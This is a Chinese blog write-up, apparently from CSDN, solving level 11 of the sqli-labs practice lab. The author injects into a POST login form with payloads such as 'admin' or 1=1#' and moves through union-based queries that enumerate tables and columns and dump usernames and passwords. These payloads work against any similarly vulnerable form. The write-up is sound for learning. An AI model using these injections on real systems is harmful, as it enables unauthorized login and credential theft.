sqli-labs/Less-11

好久没更新文章了 今天来更一更!!!

这一关直接开始post请求

我们随便在一个输入表单中输入一个admin' 可以发现报错信息 从其中我们可以发现用户名和密码的结构

其中用户名为单引号注入类型 密码亦是

所以我们只需要注入一个表单即可 

我们就往用户名处进行注入吧

首先输入一个万能密码admin' or 1=1#看看结果

然后输入一个万能密码admin' or '1'='1看看结果

这里我发现了一个彩蛋  我以前从来没有弄懂过 在这里说一下一些关于优先级的事情:

and > or > =

于是我去后台看了看源代码

 发现我们提交的用户名和密码信息给拼接到了sql语句中 然后执行 并且通过一个mysql_fetch_array()函数得到一个一行的数组 然后判断一下是否为空如果不为空 将数组中键名为用户名的值显示在your login name后面 将键名为密码的值显示在your password后面

如果说是admin' or 1=1#的话 那么

 去一行为结果 所以结果为dumb dumb

如果是admin' or '1'='1的话 那么

 接着解题 既然是单引号注入类型的话 那么检验一下吧

往用户名表单处输入一个admin'# 看看报错与否 存在回显 说明这个类型判断正确

然后选择一个注入方法 我这里选择联合注入

首先判断一下字段数以及回显点

输入admin' union select 1,2#

注意这边只能回显一条信息 所以你得把主查询的回显给屏蔽掉 才行

所以最终版本的输入为1' union select 1,2#

 

输出如下

接着进行爆库以及爆版本操作

即输入1' union select version(),database()#

 

然后爆表

输入1' union select 1,group_concat(table_name) from information_schema.tables where table_schema=database();#

输出如下

 

然后爆字段

输入1' union select 1,group_concat(column_name) from information_schema.columns where table_name='users';# 

 

最后爆用户名和密码信息

输入1' union select 1,group_concat(username,password) from users;# 

 所以最后成功解题 嗨嗨

  • 1
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

axihaihai

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值